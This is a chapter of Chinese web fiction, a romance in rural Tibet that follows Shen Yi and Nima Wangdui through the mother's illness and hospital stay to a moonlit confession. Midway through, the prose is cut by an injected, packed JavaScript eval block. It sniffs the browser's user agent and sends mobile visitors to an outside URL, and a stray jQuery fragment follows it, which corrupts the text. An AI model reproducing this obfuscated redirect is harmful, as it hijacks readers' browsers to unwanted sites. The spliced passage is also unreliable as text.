日子像年楚河解冻的冰层，表面依然缓慢，底下却有了流动的声响。
沈翊有时站在院子里，能听见那种细微的声音，是冬天在撤退，是春天在逼近。
但他渐渐明白，在这片高原上，新生与死亡从来不是对立的章节，而是同一页纸上并排的文字。
那天清晨，尼玛旺堆扛着铁锹准备去地里看看冬灌的情况。沈翊跟在他身后，踩着他留在地上的脚印。太阳还
没完全爬过东边的山脊，空气稀薄且寒冷，每一次呼吸都带着刺痛。
走到田埂边时，尼玛旺堆停下来，望着远处已经开始融雪的山坡，忽然说：“万物新生意味着死亡。”
沈翊愣了一下，没听懂这没头没尾的话。
尼玛旺堆蹲下身，用铁锹的尖端轻轻敲击已经开始松软的冻土：“春天是万物复苏的日子，但是也会有很多生物，在此刻死亡。”
他抬起头，看向沈翊，眼神里有种沈翊看不懂的沉重：“最明显的就是河流。等雪化得差不多了，河水涨起来的时候，你会闻到腥味，那是整个冬天冻在冰层下面的尸体，鱼、鸟、有时候甚至是……”
他的话没说完。
手机响了。
在安静的田野里，铃声尖锐得刺耳。尼玛旺堆掏出手机，看了一眼屏幕，脸色瞬间变了。不是惊讶，是某种更深的东西，像早就预感到的坏事终于发生的确认。
“怎么了？”沈翊问。
尼玛旺堆没有回答。他扔下铁锹，抓住沈翊的手腕就往回跑。铁锹倒在田埂上，锹头插进松软的泥土，像一座突然竖起的墓碑。
他们跑回村子时，已经能听见救护车鸣笛的声音，那种在城市里司空见惯、在这里却显得格外突兀的声音。车子停在尼玛旺堆家门口，红蓝灯光在清晨灰白的天光里旋转，把整条巷子染上不安的色彩。
德吉次仁站在院门口，头发乱糟糟的，显然是刚从床上爬起来。看见他们，她只说了一句藏语，很短，但尼玛旺堆的脸更白了。
医护人员抬着担架从屋里出来。担架上躺着阿妈米玛啦，盖着厚厚的被子，只露出一张苍白的脸。她的眼睛闭着，眉头却微微皱着，像在睡梦中还在对抗着什么。
“阿妈！”尼玛旺堆冲过去，被一个护士拦住了。
护士用生硬的汉语说：“家属跟车，只能一个。”
“我去。”德吉次仁立刻说，她已经穿好了外套，“你在家，照顾……”她看了一眼沈翊，“照顾家里。”
救护车门关上，鸣笛重新响起，车子在狭窄的巷子里艰难地调头，然后驶远。红蓝灯光渐渐消失在村口，像一
场突然开始又突然结束的梦。
院子里只剩下尼玛旺堆和沈翊。晨光完全铺满了大地，照在空荡荡的院墙上，照在还没来得及收的、晾晒羊毛的架子上，照在尼玛旺堆僵硬的背影上。
沈翊走过去，轻轻碰了碰他的手臂：“会没事的。”
尼玛旺堆没说话。他盯着救护车消失的方向，很久，才用藏语说了句什么。声音很低，但沈翊听出了其中的颤抖。
那天接下来的时间，像一场慢放的默片。
尼玛旺堆在院子里走来走去，给牛添草，收拾工具，修补漏风的窗缝，做一切不需要思考的事。
沈翊跟在他身边，想帮忙，却发现自己插不上手。这不是城市里那种可以用语言安慰的悲伤，这是一种更沉默的、需要被劳作消化的焦虑。
中午，德吉次仁打来电话。尼玛旺堆接听时，沈翊看见他的手指紧紧攥着手机，指节发白。
通话很短。挂断后，尼玛旺堆在院子里站了很久，然后走到佛堂门口，脱下鞋子，走了进去。
沈翊等在门外，听见里面传来低低的诵经声，不是平日那种平稳的吟唱，而是断断续续的、带着哽咽的声音。
他忽然想起尼玛旺堆早上没说完的话。
“……有时候甚至是……”
是人吗？
沈翊不敢想下去。
阿妈米玛啦在医院住了两周。这两周里，尼玛旺堆和沈翊的生活变成了两点一线——家，医院，再回家。
医院在日喀则XX，每天往返要三个小时。
尼玛旺堆开车，沈翊坐在副驾驶。路上他们很少说话，只是听着车里的藏语歌，看着窗外的景色从枯黄到隐约
泛绿。春天真的来了，以一种病人无力欣赏的方式。
病房里总是充满消毒水的气味，但阿妈米玛啦的床头上永远摆着一充电式的小盏灯，尼玛旺堆从家里带来的。
灯光微弱，却顽强地在白色墙壁上投下一小圈温暖的光晕。
阿妈米玛啦多数时间在昏睡。醒来时，她会看看儿子，再看看沈翊，然后闭上眼睛，什么都不说。她的沉默比
语言更有力量，像一堵透明的墙，隔在她和沈翊之间。
但尼玛旺堆不让她沉默。他坐在床边，用藏语讲村里的事：谁家的母牛下了双胞胎，谁家的孩子在市里比赛得了奖，东边的草场冒出了第一茬新草。他讲得很细，像在给一个远行归来的人汇报家中的变化。
有时候阿妈米玛啦会睁开眼睛，看着儿子。她的眼神很复杂，有爱，有担忧，有一种沈翊看不懂的悲伤。
沈翊尽量让自己有用。他打热水，买饭，找护士，做一切能做的事。但他能感觉到，阿妈米玛啦看他的眼神变了。不再是看“客人”的慈祥，也不是看“家人”的温暖，而是某种更审视和不解的目光。
那堵墙在加厚。
第三周，医生允许阿妈米玛啦回家休养。
出院那天，德吉次仁也来了，四个人挤在车里，气氛却比来时更沉重。阿妈米玛啦靠在车窗上，看着外面飞速后退的街景，忽然用藏语说了句什么。
德吉次仁翻译：“阿妈说，野花要开了。”
沈翊看向窗外。路边的确有几株花朵，枝头已经鼓起深红色的花苞，像无数个攥紧的小拳头。
“是啊，要开了。”尼玛旺堆说，声音很轻。
回到家，生活重新进入轨道，但轨道本身已经改变了。阿妈米玛啦多数时间待在佛堂或自己的房间，不再像以
前那样在厨房和院子里忙碌。德吉次仁搬回来住，接替了母亲的大部分家务。
而沈翊和尼玛旺堆的关系，像春天冻土下的草芽，在无人看见的地方疯狂生长。
这种生长是安静的，是细碎的。是一个眼神
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183002|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的交汇，是餐桌下膝盖轻轻的相碰，是夜里走在路上时短暂的拥
抱，是尼玛旺堆教沈翊挤牛奶时从背后环住他的姿势停留得稍久一些。
他们从未真正讨论过“在一起”这件事，但这件事已经发生了，像季节更替一样自然。沈翊有时会在半夜醒来，看着身边尼玛旺堆沉睡的侧脸，觉得这一切不真实得像个梦——一个他不敢用力呼吸生怕惊醒的梦。
不久后的月圆之夜，这个梦有了名字。
那天尼玛旺堆去学校申请延长休学的时间，他请了长假照顾母亲，但偶尔需要回学校处理事情。到家时已经是
晚上十点，沈翊在院子里等他。
月光很好，把整个院子镀成银白色。尼玛旺堆停好车，看见沈翊站在月光里，忽然就笑了。
“怎么不进去？”他问，关车门的声音在寂静中格外清晰。
“等你。”沈翊说。
两个字，简单得不能更简单。但尼玛旺堆听懂了里面的全部，我担心你路上安全，我想你回来第一个看见的是我，这个家有你才是家。
他走过去，在沈翊面前停下。两人之间只有一步的距离，月光流淌在中间，像一条发光的河。
“沈翊。”尼玛旺堆叫他的名字，声音有些哑。
“嗯？”
“我……”他顿了顿，像是在积蓄勇气，“我今天在学校，看见桃花开了。”
沈翊等着。他知道这不是真正要说的话。
“粉色的，一树都是。”尼玛旺堆继续说，眼睛看着沈翊，一眨不眨，“我站在那儿看了很久，就想，想带你也看看。”
“然后呢？”
“然后我就想，”尼玛旺堆深吸一口气，“想以后每个春天，都带你去看花。夏天的草原，秋天的青稞，冬天
的雪山……所有我觉得好看的东西，都想让你也看见。”
他的语言朴素得像脚下的泥土，但沈翊听见了其中全部的重量。
“尼玛旺堆，”沈翊轻声问，“你是在对我说情话吗？”
“我不知道这是不是情话。”尼玛旺堆老实承认，“我只知道，这是真话。”
沈翊笑了。笑着笑着，眼眶就热了。他往前走了一步，跨过那条月光的河，站到尼玛旺堆面前。
“那我也说句真话。”他说，仰头看着这个比他高的青年，“我不想只看你看见的风景。我想看，你看见风景
时的眼睛。”
尼玛旺堆愣住了。然后，像是某种堤坝决口，他猛地低下头，吻住了沈翊。
这个吻和以往都不同。不是星空下的试探，不是车里的安慰，不是旅途中的情不自禁。
这是一个确认，确认你是我的，我是你的，确认那些没说出口的话彼此都懂，确认这个春天，这场爱情，这个
人，我要定了。
分开时，两人的呼吸都乱了。额头相抵，在月光下交换着温热的空气。
“沈翊，”尼玛旺堆说，声音里有一种破釜沉舟的坚定，“做我的人吧。不是客人，不是朋友，是……是我的人。”
沈翊没有立刻回答。他伸出手，抚上尼玛旺堆的脸颊，感受着掌心下皮肤的温暖，和微微的颤抖。